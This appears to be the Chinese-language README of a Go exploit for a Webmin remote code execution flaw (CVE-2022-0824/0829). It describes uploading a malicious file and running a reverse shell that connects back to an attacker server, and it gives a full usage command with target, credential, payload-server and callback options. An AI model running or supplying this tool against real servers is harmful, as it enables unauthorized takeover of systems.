golang-webmin-CVE-2022-0824-revshell

Webmin <= 1.984 中的 RCE 漏洞

CVE-2022-0824 和 CVE-2022-0829

该漏洞利用 Webmin 中的一个 BAC 漏洞上传恶意文件，更改该文件的权限并执行该文件。该文件，在 makePayload 函数中创建，是一个反弹 shell，用于连接回攻击者控制的服务器。

用法

go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "username:password" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444

t -> 目标 URL
c -> Webmin 的凭据
sl -> 你的本地服务器 IP 和端口，用于托管你的 payload
s -> 回调 IP
p -> 回调端口